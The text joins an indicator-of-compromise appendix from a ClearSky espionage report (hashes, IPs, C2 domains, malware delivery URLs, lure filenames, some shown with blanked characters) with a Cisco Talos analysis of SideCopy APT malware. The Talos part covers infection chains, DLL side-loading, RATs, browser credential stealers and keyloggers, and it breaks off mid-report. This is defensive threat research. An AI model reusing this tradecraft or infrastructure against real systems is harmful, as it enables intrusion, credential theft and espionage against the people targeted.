clearskysec.com Page 38 of 42 md5 3bf8898a88e42b0b74d29868492bd87f previous campaign md5 CECA997310C6CE221D00FF6C17E523EDC1BFCE0A md5 A48662422283157455BE9FB7D6F3F90451F93014 md5 15be036680c41f97dfac9201a7c51cfc IP 45.32.236.220 IP 45.32.13.169 IP 192.52.167.235 IP 192.52.167.125 IP 192.210.214.121 IP 192.169.7.99 IP 192.169.6.199 IP 192.169.6.154 IP 192.169.6.
199 IP 192.161.48.59 IP 185.117.73.116 IP 173.254.236.130 IP 172.245.30.30 IP 167.160.36.14 IP 162.220.246.117 IP 107.191.47.42 IP 72.11.148.147 IP 185.82.202.207 previous campaign filename           exe.
filename    -     exe.
filename          .exe filename      .exe filename         .
exe filename  FBi .
exe filename .
exe filename .
exe filename     .exe filename .
exe filename .
exe filename .
exe filename        ..exe filename       - How to Defend Against Stabbing.exe filename Wor.exe filename VirusTotalScanner.exe filename Video  Photos - The 28 Biggest Sex Scandals In Hollywood History.exe filename US Embassy in Saudi Arabia Report.rar filename US Embassy in Saudi Arabia halts operations amid heightened security concerns.exe http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 39 of 42 filename The Truth About Your Sexual Peak , Dont worry.exe filename Supermodel Bar Refaeli Stars in Israeli Spy Movie.exe filename Spy vs. Spy Inside the Fraying U.S.-Israel Ties.exe filename Novm-H-S.exe.bin filename MusicLogs.exe filename Music Synchronization.exe filename MP4.exe.bin filename log file.exe filename Invoice details.doc filename Internet-y.exe filename Hot-Story.
RAR filename Hot-ReportPhotos.rar filename Google-Privacy.doc filename FileZellacompiler.exe.bin filename Estimate position - the Gaza bombings.exe filename Egypt in the saudi arabia leaks - second set.exe filename Browsem.exe filename Greek coastguard appears to sink refugee boat.exe filename           .exe previous campaign filename           .
previous campaign domain star.yaneom.space domain yaneom.space.co domain yaneom.ml domain xr.downloadcor.xyz domain wembail.supportmai.cf domain wallnet.zyns.com domain version.downloadcor.xyz domain v6.support-sales.tk domain us.suppoit.xyz domain transkf.tk domain suppot-sales.mefound.com domain support-sales.tk domain supports.mefound.com domain support.mypsx.net domain support.markting-fac.tk domain support.bkyane.xyz domain supo.mefound.com domain sup.mefound.com domain submit.mrface.com domain sub.submitfda.co.vu domain star.mefound.com http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 40 of 42 domain spynews.otzo.com domain socks.israel-shipment.xyz domain smtpa.dynamic-dns.net domain smtp.gq domain smtp.email-test.ml domain sky.otzo.com domain sip.supportcom.xyz domain singin.loginto.me domain ser.esmtp.biz domain sales-spy.ml domain salesmarkting.co.vu domain sales.suppoit.xyz domain sales.suppoit.
xyz domain sales.blogsyte.com domain ra.goaglesmtp.co.vu domain ns.suppoit.xyz domain news20158.co.vu domain news.net-freaks.com domain news.bulk-smtp.xyz domain ms.suppoit.xyz domain mossad.mefound.com domain marktingvb.ml domain markit.mefound.com domain marki.mefound.com domain mailweb.otzo.com domain krowd.downloadcor.xyz domain jenneaypreff.linkpc.net domain jake.support-sales.tk domain iphonenewsd.co.vu domain infoblusa.tk domain idf.idfcom.co.vu domain hr.goaglesmtp.co.vu domain hostgatr.mrface.com domain hdgshfdgh.co.vu domain games.buybit.us domain gamail.goaglesmtp.co.vu domain gabro.xxuz.com domain facetoo.co.vu domain email-test.ml domain emailotest.co.vu domain ed3qy5yioryitoturysuiu.otzo.com domain drivres-update.info http://clearskysec.com/ https://www.virustotal.com/en/domain/socks.israel-shipment.xyz/information/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 41 of 42 domain down.supportcom.xyz domain down.downloadcor.xyz domain direct-marketing.ml domain dfwsd.co.vu domain cnaci8gyolttkgmguzog.ignorelist.com domain cl170915.otzo.com domain buy.israel-shipment.xyz domain bulk-smtp.xyz domain baz.downloadcor.xyz domain aqs.filezellasd.co.vu domain acc.buybit.us domain aaas.mefound.com domain 0arfx4grailorhvlicbj.servehumour.com domain skynews1.blogsyte.com domain goodwebmail.tk domain email-market.ml domain imazing.ga domain 0n4tblbdfncaauxioxto.ddns.net domain cyaxsnieccunozn0erih.mefound.com domain word.2waky.com domain us-update.com domain sales.intarspace.co.vu domain newdowr.otzo.com domain new.newlan.co.vu domain lkvz7bsfuiaidsyynu7bd2owpe.dns05.com domain info.intarspace.co.vu domain gfhbgfzfgfgfgdg.otzo.com domain 3tshhm1nfphiqqrxbi8c.servehumour.com domain d.nabzerd.co.vu domain debka.ga domain dontrplay.tk domain zapt.zapto.org domain news015.otzo.com domain news.buybit.us domain markting-fac.tk domain adfdafsggdfgdfgsagaer.blogsyte.com domain helthnews.ga domain update.ciscofreak.com domain googledomain.otzo.com domain accounts-helper.ml domain www.dorcertg.otzo.com domain directl.otzo.com http://clearskysec.com/ ______________________________________________________________________________ Clearsky - Cyber security.
clearskysec.com Page 42 of 42 domain dnsfor.dnsfor.me domain filezellla.otzo.com domain ksm5sksm5sksm5s.zzux.com domain markting.mefound.com domain vbdodo.mefound.com Campaign identifiers wikileaks (Ra) Br2015-06-11 Campaign identifiers very important (key)Br2015-07-07 Campaign identifiers Star(Star)br 2015-10-18 Campaign identifiers Random(Music)Br2015-07-13 Campaign identifiers November(HZ)br 2015-11-03 Campaign identifiers MOSSAD(Track)br 2015-11-08 Campaign identifiers meshal(Music)Br2015-07-15br Campaign identifiers Fajer(IOS)br 2015-08-13 Campaign identifiers FaceBook(IOS)br 2015-08-24 Campaign identifiers DAFBK(NSR)br 2015-11-04 Campaign identifiers SPYND(NSR)br 2015-11-04 Campaign identifiers Doc Test BR 2015-11-30 http://clearskysec.com/
Sheet1 typeindicatorcomments AV detectionWin.
Trojan.
DustySky AV detectionTrojan.
MSIL.Musik AV detectionTrojan.
Dustky domainwww.such.market domainsupport-update.ml domainfalcondefender.com domaineducation-support.space filename  ( )    .exe filename         .exe filename    - .exe filename    .exe filename       .
,
.exe filenameUpdata.lnkin \Startup\ filenameretn0gzbksd.lnkin \Startup\ filenameReport-Photos.rar filenameReport-Palestinian-President.rar filenameReport.rar filenameplugin.exe filenamepktkvkgj4bl.lnkin \Startup\ filenameLogs.exe filenamejnpqmri1aus.exe filenameIsraels Cellebrite linked to FBIs iPhone hack attempt.exe filenameIntelligence Report Israels strategic position has improved.exe filenameIntelligence Report Israels strategic position has improved.exe filenameIntelligence agencies succeeding in penetrating Hezbollah.exe filenamegzch5y2cyne.exe filenameFolder.lnkin \Startup\ filenameFolder.exe filenameFared-Ismael.rar filenameedikvlxhprg.lnkin \Startup\ filenameedikvlxhprg.exein \Startup\ filenamecbkp1vpsv1y.exe filenameAnalysis--Hezbollah.rar filenameAnalysis and estimates (Dahlan) heads of state next Palestine.exe filename   ( )    .exe filename Office 2016.exe filename cleaned.exe hostnamesupports.esmtp.biz hostnamesupports.3utilities.com hostnamesupport.servecounterstrike.com hostnamesupport.read-books.org hostnamesupport.mafy-koren.online hostnamespeed.ns01.biz hostnamespace.support-reg.space hostnamesmail.otzo.comdelivery hostnamereme.otzo.com hostnamenews.cloudns.cc hostnamemo.mefound.com hostnamemafy.2waky.comC2 hostnameinfo.education-support.space hostnamead.education-support.space IP84.200.68.163 IP72.11.148.147 IP23.229.3.70 IP204.152.203.99C2 IP192.52.167.118 IP192.161.48.59 IP185.82.202.207 IP173.254.236.130 IP168.235.86.156email source adress IP167.160.36.101 IP107.191.47.42 md5ffa1bdc105013e1cbb00483b412b98b8 md5e5500274853f77be6ffba610dac2cae4 md5ddff0a7643f4ff2fe777e768e7bae004log file.exe md5d538e50df25e30f3c4252ce523507d23 md5d01848a20e0f5c4a7a7243bb98a7b26c md5cc24cd17fa93fce7ea1128edeb9ee40bDrops b11b7b7b5bd80779dd885628d65e02e5 md5bc6baf7a1d420d226a7a157b412a51d9 md5b8c6c8eeb9a18b1d4632bc8191db5517Folder.exe md5b8c6c8eeb9a18b1d4632bc8191db5517 md5b85c17f92629fec41502b44cf86ba8591.exe md5b4ab538f592082373e9ab96373561713cleaned.exe md5b11b7b7b5bd80779dd885628d65e02e5Folder.exe md5ad5531b085ef005ee12319e88fb8f674 md5a5b3fb5119fad72ac321d8d6416b6b92 md5a50da199db97abb2dfd6fd62b5a00f02 md5923844dfc3d5b21f288df9beaa958baf md58ba38899a6446366724d98761dd10d46 md58655af063090ef192a7f1e0c05c7883f md577fd78042407a7318dba388da00700cc md56f08808d0be510698563d3b0443fe5a4New.exe md56e66ed5d8c7d4ca9c2e96f2cc045eb94 md5639d768d575c45372ea707ed89423f36 md55e906ccb3b67131e4771ca72609c0648Report-Photos.rar (contains cc24cd17fa93fce7ea1128edeb9ee40b) md559bab785127418972dda9da5571b73fd md54bd6a959cce13d1f5b5511a428e88c9c md53ce39f8afce9463c6d90c00ce72edb86 md530b843343590518e7b62c5f6db394bc2 md52f5397ad6205ab4463e6e3be9aba4efedrops ad5531b085ef005ee12319e88fb8f674 md52f30034885045bae4a201bf6b3913b54 md52ba0e52b885cabfbcd88866ab4072f54 md52a654ecb26664013d8e2369fe9c0b565 md52a1884bdab940ea66b28599245e79fa9 md528a5e9b2ef5cfd2edb7f31d3da9a5a15 md523c3f3e93ea2ffe704abb602d04588c0 md52395c798ca8628e735ac2d8d274cd230 md51d922e183418ac087933c526f7bd06c1 md50ae4345213cad388dbe38e2acda1a489Updata.exe md507dae7dada9ec3fa22507dfa5921c993 md502ef03bd5e6dbf9c03e8504c9e797abd md50264076c190af6e1176e1abff47d1ae8 pdbName D:\IL\Working Tools\2016-04-23 NeD Ver 9 Ran Il - 192.52.167.118\NeD Download and execute Version 1 - Doc\bin\Release\Obfuscated\News.pdb senderavynortongmail.com senderIDF Survey Research Center.. infomafy-koren.online senderFree Movies Moviemafy-koren.online sha1c3c70e77a108b7e13bf35b1e5876b3a0aa350e9a sha19caef912d2550cdcdb0734ab2055f330ce444e43 sha133be0f218277b6487bd2058ac3fcd5d1f5e67c09 sha133301a6851135910b6c031352ee6fc5339958ad7 sha10fa14db017846c970b215cc25bcd87605cf57ee7 sha109a8f47e4a695a622657c86a4d6abb5a4ae5d548 sha102e811c735b9b783ec892abb851f78b6a5c66862 urlsupport.mafy-koren.online/UFeed.php urlsupport.mafy-koren.online/reg-update urlhttps://drive.google.com/uc?exportdownloadid0BxaUrWGCqlWLMTQzMVFNOENIUFk urlhttps://drive.google.com/uc?exportdownloadid0B7n4BFDObRocdm1uS2J4SWVUNWc urlhttps://drive.google.com/uc?exportdownloadampid0B7XzN8DNbJKiQlFNRHdVTmpCd0Udelivery urlhttp://smail.otzo.com/y/analysis--hezbollah.rardelivery urlhttp://smail.otzo.com/W/Gfsdfsdfsrydkfpsdmfpsadsdfsdfsdfsdfdfsp.phpdelivery urlhttp://drive.google.com/uc?exportdownloadid0ByjYVMTYJB0saHlTalJ6ZWlWWGM urlhttp://bit.ly/1YRoIPX x509-fingerprint-sha1cadd3141e42227c0a30aa58ab3ca9fa91384f4c7 x509-fingerprint-sha19fb60ae410cf8e7739535aaa9771edd781f766d3 x509-fingerprint-sha19fb60ae410cf8e7739535aaa9771edd781f766d3 x509-fingerprint-sha10387ac82a3eabd3ffc48a73cc440e02ce3018bc8 https://54.171.86.133/shadow_attributes/edit/58934
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal BY ASHEER MALHOTRA AND JUSTIN THATTIL page 2 of 23 2021 Cisco.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal CONTENTS Summary ..................................................................................................................................................................................... 3 Whats new?
...............................................................................................................................................................................
3 How did it work?
.........................................................................................................................................................................
3 So what?
.....................................................................................................................................................................................
3 Background ................................................................................................................................................................................. 4 Early infection chain .............................................................................................................................................................. 4 Latest CetaRAT infection chains ............................................................................................................................................ 4 njRAT infections .................................................................................................................................................................... 7 MSI-based infection chain ..................................................................................................................................................... 7 Malicious payloads ..................................................................................................................................................................... 8 RATs ...................................................................................................................................................................................... 8 Plugins ................................................................................................................................................................................... 9 RAT analysis ................................................................................................................................................................................ 9 CetaRAT ................................................................................................................................................................................ 9 DetaRAT .............................................................................................................................................................................. 10 ReverseRAT ......................................................................................................................................................................... 11 MargulasRAT ....................................................................................................................................................................... 11 Allakore ............................................................................................................................................................................... 12 ActionRAT ........................................................................................................................................................................... 12 Lilith ..................................................................................................................................................................................... 13 Epicenter RAT ...................................................................................................................................................................... 14 Plugin analysis .......................................................................................................................................................................... 14 Files manager ...................................................................................................................................................................... 14 Browser credential stealer ................................................................................................................................................... 16 Keyloggers .......................................................................................................................................................................... 17 Golang malware  Nodachi ................................................................................................................................................. 17 Tracking and delivery infrastructure ....................................................................................................................................... 19 Observations and analyses ...................................................................................................................................................... 20 Targeting ............................................................................................................................................................................. 20 Credential Harvesting .......................................................................................................................................................... 22 Conclusion ................................................................................................................................................................................ 23 Coverage................................................................................................................................................................................... 23 page 3 of 23 2021 Cisco.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal WHATS NEW?
Cisco Talos has observed an expansion in the activity of SideCopy malware campaigns, targeting entities in India.
In the past, the attackers have used malicious LNK files and documents to distribute their staple C-based RAT.
We are calling this malware CetaRAT.
SideCopy also relies heavily on the use of Allakore RAT, a publicly available Delphi- based RAT.
Recent activity from the group, however, signals a boost in their development operations.
Talos has discovered multiple new RAT families and plugins currently used in SideCopy infection chains.
Targeting tactics and themes observed in SideCopy campaigns indicate a high degree of similarity to the Transparent Tribe APT (aka APT36) also targeting India.
These include using decoys posing as operational documents belonging to the military and think tanks and honeytrap-based infections.
HOW DID IT WORK?
SideCopys infection chains have remained relatively consistent with minor variations  using malicious LNK files as entry points, followed by a convoluted infection chain involving multiple HTAs and loader DLLs to deliver the final payloads.
Talos also discovered the usage of other new RATs and plugins.
These include DetaRAT, ReverseRAT, MargulasRAT and ActionRAT.
Weve also discovered the use of commodity RATs such as njRAT, Lilith and Epicenter by this group since as early as 2019.
Successful infection of a victim results in the installation of independent plugins to serve specific purposes such as file enumeration, browser password stealing and keylogging.
SO WHAT?
These campaigns provide insights into the adversarys operations: Their preliminary infection chains involve delivering their staple RATs.
Successful infection of a victim leads to the introduction of a variety of modular plugins.
Development of new RAT malware is an indication that this group of attackers are rapidly evolving their malware arsenal and post-infection tools since 2019.
Their current infrastructure setup indicates a special interest in victims in Pakistan and India.
SUMMARY Cisco Talos is tracking an increase in the SideCopy APTs activities targeting government personnel in India using themes and tactics similar to APT36 (aka Mythic Leopard and Transparent Tribe).
SideCopy is an APT group that mimics the Sidewinder APTs infection chains to deliver their own set of malware.
Weve discovered multiple infection chains delivering bespoke and commodity remote access trojans (RATs) such as CetaRAT, Allakore and njRAT.
Apart from the three known malware families utilized by SideCopy, Talos also discovered the usage of four new custom RAT families and two other commodity RATs known as Lilith and Epicenter.
Post-infection activities by SideCopy consist of deploying a variety of plugins, ranging from file enumerators to credential-stealers and keyloggers.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal BACKGROUND SideCopy campaigns use tactics and techniques that mimic the SideWinder APT group to deploy their own set of malware.
For instance, this group actively utilizes artifact names and infection vectors identical to the Sidewinder group.
SideCopy infection chains primarily consist of archive files containing malicious LNK files delivered to the victims.
The filenames are meant to social engineer the victims into opening the LNK files, in turn, infecting them with SideCopy malware.
What follows is a convoluted combination of malicious HTML Application files (HTA) and DOT NET-based loader DLLs that instrument CetaRAT and Allakore on the endpoints.
EARLY INFECTION CHAIN The earliest discovered infection chain consisted of a LNK file that pulled down and executed an HTA from a remote location.
This HTA would decode and instrument a loader DLL in memory to drop CetaRAT and another DLL (DUser.
dll) (Figure 1).
The dropped DLL is side-loaded into credwiz.exe.
The DLL then executes CetaRAT on the infected endpoint, thereby completing the infection chain.
The actors used this method in 2019 and have evolved it since then.
This primitive infection chain doesnt consist of decoy documents or images and is missing the Allakore RAT component (Figure 2).
LATEST CETARAT INFECTION CHAINS Beginning 2020 and into 2021, we saw the attackers improve their infection chains.
These infections also begin with malicious LNK files delivered to the victims.
However, what follows is a combination of three HTA files, three loader DLLs, two instances of CetaRAT in some cases, and Allakore.
This indicates an effort to modularize the attack chains, although its over-modularized in this case.
Figure 1: LNK with fake PDF icon executing remote HTA using mshta.exe.
Figure 2: Primitive SideCopy infection chain.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal The latest infection chains have also adopted the practice of displaying a decoy document (PDF) or image to the victims (Figure 3).
Stage No.
1  LNK The malicious LNK contains a command (Figure 4) to run a malicious HTA file hosted on an attacker-controlled website via mshta.exe.
Stage No.
2  HTA The malicious HTA file carries out the following activities: Creates a JavaScript file to restart the endpoint after the malicious HTA has completed the infection process.
(
The JavaScript waits for a specified time and restarts the system, enough for HTA to complete the infection.)
Load and invoke a malicious Dot Net-based loader DLL (Stage 2A) into memory.
Stage No.
2A  Loader DLL The malicious Dot Net-based loader DLL is responsible for: Decompressing a decoy PDF and displaying it to the victim on the endpoint.
Downloads another malicious HTA (Stage No.
3A) from a remote URL and executes it on the endpoint.
Figure 3: Latest SideCopy infection chain.
Figure 4: Latest SideCopy infection chain.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Downloads and executes another malicious HTA file (Stage No.
4) from a remote URL.
The decoy document displayed to the victim in this case is an internal Indian Ministry of Defense (MoD) circular related to their Human Resources Management System (HRMS) (Figure 5).
Stage No.
3  Malicious HTA This malicious HTA is similar to those seen previously (usually seen as Stage No.
2 in other infection chains).
It is used to deploy the malicious CetaRAT embedded in the HTA file.
In some cases, weve observed instances of this malicious HTA deploying two distinct CetaRAT payloads on the same endpoint, a deviation from the usual infection chain.
Stage No.
4  Malicious HTA This malicious HTA is similar to the HTA seen in Stage No.
3A of the attack chain.
This HTA also: Loads another loader DLL into memory (Stage No.
4A).
Collects AV product names and passes them to the loader DLL (Stage No.
4A) along with the credwiz.exe binary and DUser.dll malicious DLL to be side-loaded.
Stage No.
4A  Malicious loader DLL This DLL is responsible for dropping DUser.dll (Stage No.
4B side-loaded into credwiz) into a variable location, depending on the presence of a specific anti-virus products installed on the endpoint: Kaspersky QuickHeal Avast Avira Bitdefender Windows Defender Figure 5: Decoy PDF pretending to be an internal Indian Army document.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal This loader DLL also persists Allakore RAT on the endpoint.
The side-loaded DLL is then responsible for executing Allakore.
Stage No.
4B - Allakore Allakore RAT is a publicly available Delphi-based RAT.
It is usually called Cyrus client in SideCopy infection chains.
Its capabilities include: Upload and download files.
Capture screenshots from the endpoint.
Enumerate directories and files.
Keylogging.
Steal current clipboard data.
NJRAT INFECTIONS Another recently discovered infection chain (Figure 6) used by SideCopy completely abandons CetaRAT and Allakore and uses njRAT instead.
This infection chain is simpler than the ones seen previously.
A second variation of njRAT infection chain uses self- extracting RAR-based dropper executables that consists of: Malicious VB script to set up persistence for njRAT de- ployed by the dropper.
njRAT binary  dropped and executed by the dropper.
The decoy document is usually a PDF displayed to the victim.
These PDFs mainly consist of themes related to the Indian Army and government.
Some examples of the self-extracting dropper filenames: Indian Army Restructring And Re-Organiza- tion.pdf.exe director_general_level_border_coordination_ conference.pdf.exe Phase-3 of Nationwide Covid-19 Vaccination Registration.pdf.exe MSI-BASED INFECTION CHAIN Around mid-2020, we observed a deviation from the LNK- based infection chain.
In this case, the attackers hosted a malicious archive (ZIP) on an attacker-controlled website freewindowssoftware[.
]com.
The ZIP file contained an MSI file posing as an installer for the Libre Video Locker application.
On installation, the malicious MSI would install Allakore RAT into the Program Files\Libre Software Corporation\LibreVideoLocker folder (Figure 7).
The final payloads consisted of three components: Loader EXE: Executed first and masquerades as a Libre video player application.
It is, however, meant to run Allakore and the malicious BAT file.
Figure 6: njRAT infection chain.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Persistence BAT file: Used to set up persistence for Allakore via the registry HKCU\..\Run key.
Allakore RAT exe: This is a copy of the Allakore RAT built in 2019, instrumented to communicate with a known SideCopy C2 IP.
MALICIOUS PAYLOADS This is an overview of the different final stages of infections.
RATS SideCopy infections utilize a number of RATs.
The RAT payloads discovered by Talos so far are: CetaRAT: SideCopys staple RAT first seen in the wild in 2019.
This was already disclosed publicly.
We are calling it CetaRAT to identify it throughout this research piece.
DetaRAT  C-based RAT: A previously unknown C- based RAT that contains several RAT capabilities similar to CetaRAT.
ReverseRAT: Another previously undiscovered C- based reverse shell that also monitors removable drives.
It is based on CetaRAT.
MargulasRAT: This is another custom RAT used as part of SideCopy operations.
The dropper for MargulasRAT masquerades as a VPN application from Indias National Informatics Centre (NIC).
Allakore: Allakore is a Delphi-based RAT first observed in 2015.
This RAT has been used by SideCopy extensively, along with CetaRAT.
ActionRAT: ActionRAT is another Delphi-based RAT used in SideCopys operations.
At first glance, it looks quite similar to Allakore but is distinct in its implementation.
We also found a C-based version of the RAT, indicating that the attackers have ported it to the Dot Net platform, as well.
Lilith: Lilith is a C-based RAT first observed in 2016.
SideCopy used a customized version of Lilith in early 2019.
Lilith has also been utilized by another APT named TICK in 2018 - 19.
EpicenterRAT: Epicenter is another commodity RAT observed in the wild since 2012.
SideCopys usage of Epicenter dates back to as early as 2018 - 19.
Figure 7: MSI-based infection chain dropping Allakore.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal PLUGINS In addition to full-fledged RATs, SideCopy utilizes modular plugins to carry out specific malicious tasks on the infected endpoint: File manager:  A file management component that can enumerate, download and upload files on the endpoint from/to the C2.
Keyloggers: There are two keyloggers used by Side- Copy.
Xeytan: A publicly available C-based keylogger available since 2016.
Lavao: Another C-based keylogger.
Browser credential stealers: Again, there are two types of stealers used: C-based stealer component to steal passwords from Firefox and Chrome.
C-based stealer component to steal Chromium browser passwords.
Nodachi: A previously unknown set of plugins uti- lized by SideCopy were calling Nodachi.
These Golang-based plugins have reconnaissance and file-stealing abilities targeting an Indian multi-factor authentication app known as Kavach.
RAT ANALYSIS CETARAT CetaRAT is a C-based RAT family first seen in the wild since 2019.
Its malicious capabilities (Figure 8) include: Execution: Download and run arbitrary executables and commands.
File management: Upload, download, delete, rename and enumerate files.
Capture: Take screenshots and monitor clipboard data.
Processes: List or kill processes on the endpoint.
Figure 8: CetaRAT command codes.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal DETARAT DetaRAT is a previously unknown C-based implant used by SideCopy.
This implant uses a different set of command codes (Figure 9) with a hardcoded key for communicating with its C2 servers.
Its malicious capabilities include: Files management: Create, move, rename and delete directories and files.
File enumeration: Retrieves detailed directory and file information recursively, including creation and last access times.
Exfiltration and infiltration: Download and upload files from and to the C2.
Audio: Record and upload audio files.
Remote control: Control mouse cursor and clicks.
Hosts file: Retrieve and send / etc/hosts file contents.
Installed Software: Exfiltrate details of installed software from registry.
Execution: Run arbitrary commands on the endpoint via cmd.exe.
Clipboard: Get and set clipboard data.
Sysinfo: The following informa- tion is sent to the C2 to finger- print the endpoint: IP and MAC addresses.
Installed anti-virus software.
Processor and GPU info, RAM info, system uptime, OS details, battery charge and life.
Hostname, current username and screen dimensions.
Figure 9: DetaRAT command codes.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal REVERSERAT This is a simple C-based malware that opens up a reverse shell (Figure 10) to its C2 server using cmd.exe.
This reverse shell also has code built into it to monitor removable drive events (Figure 11), such as connection and removal.
MARGULASRAT MargualsRAT is distributed via another C-based dropper (Figure 12) binary.
The dropper masquerades as the same VPN we mentioned previously.
NIC is responsible for providing IT services, such as email and VPN access, to Indian government employees, including military personnel.
Another variant of the dropper deploys MargulasRAT after displaying a decoy PDF to the victim (Figure 13).
This infection chain uses VBScripts to persist MargulasRAT via registry, while the dropper downloads the RAT from a remote location (Figure 14).
MargulasRAT (Figure 15) is limited in capabilities, but does include: Screenshot capture: Capture a screenshot of the reso- lution specified by the C2, AES encrypt and send.
Update self: Receives an encoded binary from C2, Figure 11: USB device insertion notifier code snippet.
Figure 10: ReverseRAT reverse shell.
Figure 12: Dropper opening the decoy NIC VPN portal and setting up persistence for MargulasRAT.
Figure 13: Code used to download and display a decoy PDF related to the Indian Army displayed to the victim followed by activation of MargulasRAT.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal writes it on a disk, and executes it.
Runs cmd.exe to terminate itself afterward.
Download more payloads: Receives a name and encoded payload data from the C2, then write it to disk and execute it on the infected endpoint.
Stop communications: Terminate communication session with the C2 until the next run.
Weve observed unimplemented command codes in the MargualsRAT indicating that this RAT is actively in development by the attackers.
ALLAKORE Allakore is a publicly available Delphi- based RAT that has consistently been used in SideCopy operations along with CetaRAT.
Malicious capabilities of Allakore include: Keylogging.
Capture screenshots.
List folders and files.
Upload/Download files.
Steal clipboard data.
Grab/change wallpaper.
In recent infections, this RAT is named Cyrus client (Figure 16).
ACTIONRAT ActionRAT is a Delphi-based RAT containing a limited set of capabilities.
This RAT also comes in a C variant, indicating that the attackers have ported it to the Dot Net platform.
This RAT typically uses two C2 URLs (Figure 17)  one for the initial check- in to confirm infections (beacon C2 URL) and the other to instrument the RAT and send/recv commands and output data.
Figure 14: Malicious VBScript used to persist MargulasRAT across reboots.
Figure 15: Command handler of MargulasRAT.
Figure 16: Allakore RAT with the name Cyrus_Client.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Primary capabilities of the RAT include (Figures 18 and 19): Gather sysinfo: Collect the following information from the infected endpoint and sends the following informa- tion to the C2 at the beginning of the RATs execution.
Computer name and username.
Installed anti-virus product names.
Operating system name, MAC address (used as in- fection identifier) and architecture type (x86 or x64).
Arbitrary command execution: Run arbitrary commands specified by the C2 on the endpoint.
List drives: Collect drive names and total size for all drives present on the system and send them to the C2.
Enumerate files: Enumerate files for a given directory on the endpoint and sends the following information to the C2: Directory names and creation time.
Filepath, size and creation time.
Download files: Download a file specified by the C2 to a location on disk.
Download and execute: Download and then execute a file specified by the C2 on the endpoint.
Upload files: Exfiltrate the contents of a specified file to the C2.
LILITH Lilith is a commodity RAT available in the wild since 2016.
The version of Lilith used in SideCopy operations consists of the following capabilities (Figure 20): Terminate or restart self.
Download and execute files from specified locations.
Enumerate files.
Reverse shell.
Figure 17: Two C2 URLs used in ActionRAT.
Figure 18: Command codes included in the Delphi version of ActionRAT.
Figure 19: C-based ActionRATs command handler.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal EPICENTER RAT Epicenter is a commodity RAT used by SideCopy since 2018.
It contains a variety of capabilities (Figure 21) including: Gathering system information.
Gather installed Antivirus product names.
Shutdown, reboot system or log the user off.
Block keyboard and mouse inputs to self.
Uninstall self.
Enumerate, launch and kill processes.
Take screenshots.
Enumerate directories, delete files and folders.
Check persistence status for self.
PLUGIN ANALYSIS FILES MANAGER The files manager plugin used can scan all drives on the system recursively and record file paths to a log file named Figure 20: Command codes and handlers in Lilith.
Figure 21: Epicenter command handler.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal YYYYMMDDHHMMSS_di_output.
txt based on the current time (Figure 22).
The file paths recorded must match the following extensions: doc, ppt, xls, txt, pdf, zip, mdb, accdb, db, rar, jpg, bmp, gif, csv, bmp, docx, pptx, xlsx and png.
The files manager will also send preliminary system information to the C2 and receive a command code in return: hnameMachineNameuname Username osnameWindows ProductNamehidprocessor ID_BIOS_SerialNumber_Disk_ SignaturemccMACAddress avnameAVInstalledarc OSBitness Where: hname  computer name.
uname  username of currently logged in user.
osname  Windows version name string.
hid  hardware id i.e.
a com- bination of processor ID, serial number and disk signature mcc  Mac Address of the end- point.
avname  either Defender, Avira or N/A depending on whichever AV is found installed.
arc  x64 or x86 Command codes: filelist and updatefilelist: Send recorded file paths from YYYYMMDDHHMMSS_di_output.
txt to C2 server.
download: Read contents of file path specified by C2 and exfiltrate.
Figure 22: Files manager command handler module.
upload: Get specified file from C2 and write to specified location on disk.
execute: Download a specific file to a location on a disk specified by the C2 and execute it.
SideCopy also uses a document copier (Figure 23).
This component searches for files with specific extensions across removable and fixed drives and creates an encrypted copy for itself.
The encrypted copy may be exfiltrated later by another component.
So far, this component only searches for doc, docx, ppt, pptx and pdf files.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Weve also found standalone implementations of the document copier (called UPirate).
This consists of document copying and encryption capabilities without the C2 functionality of the file manager component.
BROWSER CREDENTIAL STEALER Weve observed two flavors of browser credential stealer components utilized by SideCopy (Figure 24).
The first is a C-based stealer that targets Firefox and Chrome.
The second credential stealer is C-based and targets Chromium-based browsers, including: Chrome AVG Browser Kinza URBrowser AVAST Software SalamWeb CCleaner Opera Yandex Slimjet 360 Browser Comodo Dragon CoolNovo Chromium SRWare Iron Browser Torch Browser Brave Browser Iridium Browser Opera Neon 7Star Amigo Blisk CentBrowser Chedot CocCoc Elements Browser Epic Privacy Browser Kometa Orbitum Sputnik uCozMedia Vivaldi Sleipnir 6 Citrio Coowon Liebao Browser QIP Surf Edge Chromium Figure 23: Find and save encrypted copy of file extensions specified.
Figure 24: C-based browser credential stealer code for obtaining Chrome login data.
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talos-externalcisco.com    talosintelligence.com InSideCopy: How this APT continues to evolve its arsenal Credentials extracted from any of these browsers installed on the endpoint are then written to a temporary log file on disk and subsequently exfiltrated to a DropBox location (Figure 25).
KEYLOGGERS SideCopy uses two dedicated keyloggers for recording keystrokes, the aforementioned Xeytan (Figure 26) and Lavao (Figure 27), which is a custom keylogger first seen around mid-2019 that records timestamps, Window names and pressed key codes into a log file.
GOLANG MALWARE  NODACHI Cisco Talos also discovered a GoLang-based component were calling Nodachi.
Figure 25: Credentials exfiltrated using the DropBox upload API.
